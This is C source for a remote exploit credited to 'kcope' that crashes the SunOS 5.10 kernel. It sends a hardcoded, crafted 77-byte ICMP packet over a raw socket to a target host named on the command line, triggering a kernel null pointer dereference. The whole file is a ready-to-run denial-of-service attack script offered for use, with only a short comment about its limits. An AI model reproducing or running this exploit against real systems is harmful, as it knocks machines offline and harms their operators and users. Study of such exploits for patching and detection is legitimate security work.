|
/* SunOS 5.10 Remote ICMP Kernel Crash Exploit by kcope Null Pointer Dereference in Kernel Space Seems to work only if attacked in the same network segment, maybe because of firewalls/routers in place. This seems to be the issue described in bid 22323. */
#include <stdio.h> #include <string.h> #include <stdlib.h> #include <netinet/in.h> #include <netdb.h> #include <sys/time.h> #include <sys/types.h> #include <sys/socket.h> #include <arpa/inet.h> #include <unistd.h>
unsigned char rawData[77] = { 0x45, 0xFF, 0x00, 0x4D, 0x0C, 0x52, 0x00, 0x00, 0x7E, 0x01, 0x0C, 0xF2, 0xE0, 0x5A, 0x73, 0x12, 0xC0, 0xA8, 0x0E, 0x58, 0x08, 0xDE, 0xAE, 0x37, 0x6F, 0x3B, 0x66, 0xA7, 0x60, 0xAA, 0x76, 0xC1, 0xEC, 0xA7, 0x7D, 0xFA, 0x8A, 0x72, 0x8E, 0xC6, 0xE3, 0xD2, 0x64, 0x13, 0xE7, 0x4D, 0xBC, 0x01, 0x40, 0x5B, 0x8E, 0x8B, 0xE5, 0xEE, 0x5E, 0x37, 0xDD, 0xC2, 0x54, 0x8E, 0x8D, 0xCE, 0x0C, 0x42, 0x97, 0xA1, 0x8C, 0x04, 0x8A, 0xC2, 0x6B, 0xAE, 0xE9, 0x2E, 0xFE, 0xD4, 0x4B, } ;
long resolve(char *host) { struct hostent *hst; long addr;
hst = gethostbyname(host); if (hst == NULL) return(-1);
memcpy(&addr, hst->h_addr, hst->h_length); memcpy(rawData+16, &addr, sizeof(long));
return(addr); }
int main(int argc, char *argv[]) { struct sockaddr_in dst; long saddr, daddr; int s;
if (argc < 2) { printf("SunOS 5.10 Remote ICMP Kernel Crash Exploit by kcope\n"); printf("Usage: %s <dst>\n", *argv); return(1); }
daddr = resolve(argv[1]); saddr = INADDR_ANY;
memcpy(rawData+16, &daddr, sizeof(long)); // memcpy(rawData+12, &saddr, sizeof(long));
dst.sin_addr.s_addr = daddr; dst.sin_family = AF_INET;
s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s == -1) return(1);
printf("Sending ICMP packet: %s\n", argv[1]);
if (sendto(s,&rawData,77,0,(struct sockaddr *)&dst,sizeof(struct sockaddr_in)) == -1) { perror("Error sending packet"); exit(-1); }
return(0); }
|
|
|